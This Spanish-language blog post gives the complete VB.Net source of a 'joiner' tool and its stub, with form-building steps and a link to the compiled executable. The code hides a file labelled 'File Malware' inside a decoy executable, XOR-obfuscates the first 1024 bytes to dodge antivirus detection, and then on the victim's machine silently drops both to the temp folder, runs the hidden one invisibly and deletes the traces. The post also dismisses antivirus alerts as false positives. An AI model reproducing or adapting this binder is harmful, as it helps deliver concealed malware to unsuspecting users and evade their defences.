lunes, 19 de noviembre de 2018

Codigo Fuente Del Lucy Joiner en VB.Net

Hola amigos aquí les dejo el código fuente de un sencillo joiner que programe hace poco en vb.net, el fin de esto es para que vean como se programan o como funcionan y si piensan usarlo para maldades déjenme decirles que ya lo subí a virustotal así que ya lo deberían de a ver agregado a sus firmas los AV




1- Agregamos 3 Label, en la propiedad Text al primero le pondremos File Malware: , al segundo File Vehicle:   y al tercero File Exit:  ustedes le pueden poner como quieran solo son label

2- Agregamos 3 TextBox y en la propiedad Text a los 3 le ponemos el valor de path y en la propiedad Enabled sera igual a false, bueno al primero lo llamaremos txt_fileexe1, al segundo txt_fileexe2 y al tercero txt_fileexe3

3- Agregamos 3 Button, al primero llamaremos Button1, al segundo Button2 y al ultimo Button3 con el valor Examinar en la propiedad Text

4- Si tenemos el stup listo lo agregamos al proyecto en los recursos y también agregan un archivo mp3 a los recursos, puede ser cualquiera solamente se tiene que llamar musik y el otro stup

5- Agregamos un PictureBox con el nombre PictureBox1 con la imagen que quieran, también un Timer llamado Timer1

6- Por ultimo agregamos un Button llamado Button4 con el valor Convert en la propiedad Text 



::::::::.....Aquí el código del Joiner.....::::::::


Option Explicit On
Public Class Form1

    Const WM_NCLBUTTONDOWN = &HA1
    Const HTCAPTION = 2
    Private Declare Function ReleaseCapture Lib "user32" () As Long
    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As IntPtr, ByVal wMsg As IntPtr, ByVal wParam As IntPtr, lParam As IntPtr) As Long

    Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
    Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Int32, ByVal hwndCallback As Int32) As Long
    Dim tem As String = Environ("temp") & "\musika.mp3"
    Dim tiempo As Integer = 0
    Function cancion(tem)
        Dim mciret As Long

        mciSendString("close all", "", 0, 0)
        mciret = mciSendString("open " & tem & " type MPEGVideo Alias MP3", "", 0, 0)
        mciExecute("Play MP3")
        Return Nothing
    End Function
    Private Sub Form1_MouseDown(sender As Object, e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseDown
        Call ReleaseCapture()
        Call SendMessage(Me.Handle, WM_NCLBUTTONDOWN, HTCAPTION, 0)
    End Sub
    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Dim bites() As Byte = My.Resources.musik

        FileOpen(1, tem, OpenMode.Binary, OpenAccess.Write)
        FilePut(1, bites)
        FileClose(1)

        Timer1.Interval = 1000
        cancion(tem)
        Timer1.Start()
    End Sub
    Private Sub Button4_Click(sender As System.Object, e As System.EventArgs) Handles Button4.Click
        Randomize()
        Dim bites() As Byte = My.Resources.setup
        Dim code As String
        Dim r As String = ""
        Dim ale As String = Chr(CInt((Rnd() * 255) + 1))
        For x = 1 To 5
            r = r & Hex(Int((Rnd() * 255) + 10))
        Next

        code = r & leer(txt_fileexe1.Text, ale) & r & leer(txt_fileexe2.Text, ale) & r & ale

        FileOpen(2, txt_fileexe3.Text, OpenMode.Binary, OpenAccess.Write)
        FilePut(2, bites)
        FilePut(2, code)
        FileClose(2)

        MsgBox("Compilacion Exitosa...", MsgBoxStyle.Information, "Correcto")
    End Sub
    Function leer(file, ale) As String
        Dim code As String
        Dim largo As Integer = FileLen(file)
        Dim x As Integer
        Dim codi As String = ""

        code = Space(largo)

        FileOpen(3, file, OpenMode.Binary, OpenAccess.Read)
        FileGet(3, code)
        FileClose(3)

        For x = 1 To 1024
            codi = codi & Chr((Asc(Mid(code, x, 1)) Xor Asc(ale)))
        Next

        leer = codi & Mid(code, x)
    End Function

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        If tiempo < 3000 Then
            tiempo = tiempo + 1
        Else
            cancion(tem)

            tiempo = 0
        End If
    End Sub
    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
        Dim o As New OpenFileDialog
        Dim s As String = Environ("userprofile")

        o.InitialDirectory = s & "\desktop"
        o.Filter = "Exe Files (*.exe)|*.exe"
        o.ShowDialog()
        txt_fileexe1.Text = o.FileName
    End Sub

    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
        Dim o As New OpenFileDialog
        Dim s As String = Environ("userprofile")

        o.InitialDirectory = s & "\desktop"
        o.Filter = "Exe Files (*.exe)|*.exe"
        o.ShowDialog()
        txt_fileexe2.Text = o.FileName
    End Sub

    Private Sub PictureBox1_Click(sender As System.Object, e As System.EventArgs) Handles PictureBox1.Click
        On Error Resume Next

        mciSendString("close MP3", "", 0, 0)
        Kill(tem)
        End
    End Sub

    Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles Button3.Click
        Dim o As New SaveFileDialog
        Dim s As String = Environ("userfile")

        o.InitialDirectory = s & "\desktop"
        o.Filter = "Exe File (*.exe)|*.exe"
        o.ShowDialog()
        txt_fileexe3.Text = o.FileName
    End Sub
End Class




Aquí el código del stup, el formulario no lleva nada solo agregan un Timer y lo llamaremos Timer1



Public Class Form1
    Dim e1, e2 As Integer
    Dim file1, file2 As String
    Dim run As Integer = 0

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Randomize()
        Dim code As String
        Dim file As String = Application.ExecutablePath
        Dim delimita As String
        Dim peso, x As Integer
        Dim ncode(3) As String
        Dim codi1, codi2 As String

        Me.Opacity = 0
        Me.ShowInTaskbar = False

        peso = FileLen(file)
        code = Space(peso)

        FileOpen(1, file, OpenMode.Binary, OpenAccess.Read)
        FileGet(1, code)
        FileClose(1)

        delimita = Mid(code, peso - 10, 10)

        ncode = Split(code, delimita)
        file1 = ""
        file2 = ""
        codi1 = ""
        codi2 = ""

        For x = 1 To 1024
            codi1 = codi1 & Chr(Asc(Mid(ncode(1), x, 1)) Xor Asc(ncode(3)))
        Next

        codi1 = codi1 & Mid(ncode(1), x)

        For x = 1 To 1024
            codi2 = codi2 & Chr(Asc(Mid(ncode(2), x, 1)) Xor Asc(ncode(3)))
        Next

        codi2 = codi2 & Mid(ncode(2), x)


        For x = 1 To 10
            If Int((Rnd() * 10) + 1) > 5 Then
                file1 = file1 & Int((Rnd() * 90) + 65)
            Else
                file1 = file1 & Int((Rnd() * 122) + 97)
            End If

            If Int((Rnd() * 10) + 1) > 5 Then
                file2 = file1 & Int((Rnd() * 90) + 65)
            Else
                file2 = file1 & Int((Rnd() * 122) + 97)
            End If
        Next

        file1 = Environ("temp") & "\" & file1 & ".exe"
        file2 = Environ("temp") & "\" & file2 & ".exe"

        FileOpen(2, file1, OpenMode.Binary, OpenAccess.Write)
        FilePut(2, codi1)
        FileClose(2)

        FileOpen(3, file2, OpenMode.Binary, OpenAccess.Write)
        FilePut(3, codi2)
        FileClose(3)

        e1 = Shell(file1, AppWinStyle.Hide)
        e2 = Shell(file2, AppWinStyle.NormalFocus)
        Timer1.Interval = 1
        Timer1.Start()

    End Sub

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        Dim p As Process
        Dim mata1, mata2 As Boolean


        mata1 = True
        mata2 = True

        For Each p In Process.GetProcesses()
            If p.Id = e1 Then
                mata1 = False
            End If

            If p.Id = e2 Then
                mata2 = False
            End If
        Next

        If mata1 And FileIO.FileSystem.FileExists(file1) Then
            Kill(file1)
            run += 1
        End If

        If mata2 And FileIO.FileSystem.FileExists(file2) Then
            Kill(file2)
            run += 1
        End If

        If run = 2 Then
            End
        End If
    End Sub
End Class



Link del ejecutable por si no tienen el vb.net: Descargar

Tambien les dejo el vídeo donde se muestra como se usa: https://www.youtube.com/watch?v=HKvNx1cyLV4

no se preocupen esta libre de virus y si salta el AV es por que es un falso positivo

Bueno Saludos Flamer




No hay comentarios.:

Publicar un comentario